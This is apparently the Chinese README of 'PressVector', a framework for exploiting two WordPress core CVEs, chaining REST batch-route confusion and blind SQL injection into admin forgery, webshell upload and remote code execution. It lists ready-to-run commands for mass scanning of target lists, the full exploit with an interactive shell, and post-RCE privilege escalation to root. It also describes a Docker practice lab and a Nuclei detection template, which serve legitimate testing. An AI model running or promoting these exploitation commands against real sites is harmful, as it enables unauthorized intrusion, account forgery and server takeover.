🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 漏洞利用框架

⚡ 针对 WordPress 核心的高级预认证 RCE 与盲注 SQLi 漏洞利用框架

---

📌 概述

PressVector 是一个全面、全自动化的漏洞利用框架，针对 CVE-2026-63030 和 CVE-2026-60137 —— WordPress 核心中的两个严重漏洞，二者结合可实现未认证远程代码执行。

该框架将 REST 批量路由混淆与盲注 SQL 注入串联起来，以伪造管理员会话、部署 webshell 并执行任意操作系统命令 —— 全程无需任何凭据。

⚠️ 仅限授权安全测试与教育用途。

---

🔍 什么是 CVE-2026-63030（wp2shell）？

CVE-2026-63030 是 WordPress 核心中的一个严重预认证 RCE 漏洞，由 Adam Kues（Assetnote / Searchlight Cyber）发现。该漏洞利用串联了两个相互独立的漏洞：

CVE	公告	类型	影响
CVE-2026-63030	GHSA-ff9f-jf42-662q	REST 批量路由混淆	预认证 RCE
CVE-2026-60137	GHSA-fpp7-x2x2-2mjf	author__not_in SQL 注入	预认证盲注 SQLi

💥 漏洞利用链

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 受影响版本

WordPress 版本	适用的 CVE	影响	状态
6.8.0 – 6.8.5	CVE-2026-60137	🟡 盲注 SQLi（高危）	❌ 易受攻击
6.9.0 – 6.9.4	CVE-2026-63030 + CVE-2026-60137	🔴 预认证 RCE（严重）	❌ 易受攻击
7.0.0 – 7.0.1	CVE-2026-63030 + CVE-2026-60137	🔴 预认证 RCE（严重）	❌ 易受攻击
7.1-alpha / 7.1-beta1	CVE-2026-60137	🟡 SQLi（高危）	❌ 易受攻击
6.8.6+ / 6.9.5+ / 7.0.2+	—	✅ 已修补	✅ 安全

---

📦 安装

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ 包含的工具

1️⃣ pressvector.py — 主利用框架

功能完整的利用框架，具有 4 种操作模式。

🔎 scan — 多目标漏洞扫描器

快速、多线程的扫描器，用于大规模检测存在漏洞的 WordPress 安装。

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — 盲注 SQLi 确认

通过时间校准，在单个目标上确认基于时间的盲注 SQL 注入。

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — 完整 RCE 利用链

完整利用流程：伪造管理员 → 部署 webshell → 执行命令。

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — 权限提升

在获得 RCE 后尝试进行本地权限提升。

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Nuclei 检测模板

一个可用于生产环境的 Nuclei 模板，用于大规模被动检测。

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

模板特性：

• 🔍 多源版本检测（meta generator + RSS 源回退）
• 📡 REST API 命名空间指纹识别
• 🎯 批量路由可访问性探测
• 📋 动态输出：版本、CVE 类型、攻击向量

---

🧪 实验环境（Docker）

包含一个全自动、容器化的渗透测试实验环境，用于对这些漏洞进行安全、隔离的测试。

快速开始

Windows（PowerShell）：

cd pressvector-lab
.\start-lab.ps1

Linux / macOS：

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

（首次运行时请等待约 60-90 秒，以便 WP-CLI 安装程序自动搭建所有 WordPress 站点）。

实验服务与端口

端口	服务	WordPress 版本	漏洞 / 状态
8080	目标 1	6.8.5	CVE-2026-60137（仅盲注 SQLi）🔴
8081	目标 2	6.9.4	CVE-2026-63030（预认证 RCE）🔴
8082	目标 3	7.0.1	CVE-2026-63030（预认证 RCE）🔴
8083	参考	最新版	已修补 / 安全参考 ✅
8084	PHPMyAdmin	—	数据库管理工具
8085	实验仪表盘	—	带目标状态与可复制命令的 Web UI 🖥️

管理员凭据： admin / admin123
MySQL Root 密码： root

验证与自动化测试

你可以使用自动化测试套件验证整个实验环境状态与利用路径：

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

实验环境控制命令

• 停止实验环境（保留数据）： 运行 stop-lab.sh 或 .\stop-lab.ps1
• 重置实验环境（清除数据并清理构建）： 运行 reset-lab.sh 或 .\reset-lab.ps1

如需更高级的说明和故障排除，请参阅 Lab README。

---

🏗️ 架构

PressVector/
├── pressvector.py                     # Main exploitation framework (v3.0.0)
│   ├── SSLContext                     # TLS context with cert bypass
│   ├── HTTPClient                     # Session-aware HTTP client + proxy
│   ├── BlindSQLIEngine                # Time-based blind SQLi (binary search)
│   ├── PreAuthRCE                     # Full RCE chain engine
│   │   ├── _discover_batch_endpoint() # REST /batch/v1 discovery
│   │   ├── detect_vulnerability()     # Timing oracle calibration
│   │   ├── extract_table_prefix()     # DB table prefix extraction
│   │   ├── locate_admin()             # Admin user ID discovery
│   │   ├── create_admin_user()        # UNION-based admin forge
│   │   └── deploy_webshell()          # Plugin zip upload + shell deploy
│   └── PrivilegeEscalation            # Local privesc post-RCE
│
├── pressvector-wp2shell-detection.yaml # Nuclei detection template
│
└── pressvector-lab/
    ├── docker-compose.yml          ← Orchestrates all services
    ├── wp-init/
    │   ├── entrypoint.sh           ← WP-CLI auto-installer
    │   └── init-db.sql             ← Creates databases for all instances
    ├── lab-dashboard/
    │   └── index.html              ← Dark-themed web UI (port 8085)
    ├── tests/
    │   ├── test_sqli.py            ← Blind SQLi validation
    │   ├── test_rce.py             ← RCE chain step-by-step test
    │   └── run_all_tests.py        ← Master test runner + JSON report
    ├── targets.txt                 ← Pre-filled target list
    ├── nuclei-test.sh              ← Nuclei template validator
    ├── start-lab.sh / .ps1         ← Start the lab
    ├── stop-lab.sh  / .ps1         ← Stop the lab
    └── reset-lab.sh / .ps1         ← Wipe and rebuild from scratch

🔧 高级用法

代理集成（Burp Suite）

# Route all traffic through Burp Suite
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
python pressvector.py privesc http://target.com --proxy http://127.0.0.1:8080

为慢速目标自定义超时